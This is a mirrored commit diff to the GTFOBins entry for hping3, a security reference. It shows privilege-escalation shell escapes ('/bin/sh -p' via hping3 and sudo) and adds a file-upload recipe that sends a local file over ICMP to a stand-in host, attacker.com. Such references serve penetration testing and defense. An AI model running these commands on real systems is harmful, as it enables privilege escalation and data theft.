mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 12:32:55 +01:00
Fix hping3 file-upload
This commit is contained in:
parent
db8187123b
commit
d4480345d2
@ -8,13 +8,18 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
./hping3
|
./hping3
|
||||||
/bin/sh -p
|
/bin/sh -p
|
||||||
file-read:
|
|
||||||
- description: It is possible to send specific file contents if hping3 has sufficient permission.
|
|
||||||
- code: |
|
|
||||||
sudo hping3 --icmp 127.0.0.1 --listen --signature --safe
|
|
||||||
sudo hping3 --icmp 127.0.0.1 --d 100 --c 2 --sign signature --file ./file.txt
|
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
sudo hping3
|
sudo hping3
|
||||||
/bin/sh
|
/bin/sh
|
||||||
|
- description: |
|
||||||
|
The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo hping3 --icmp --listen xxx --dump
|
||||||
|
```
|
||||||
|
code: |
|
||||||
|
RHOST=attacker.com
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user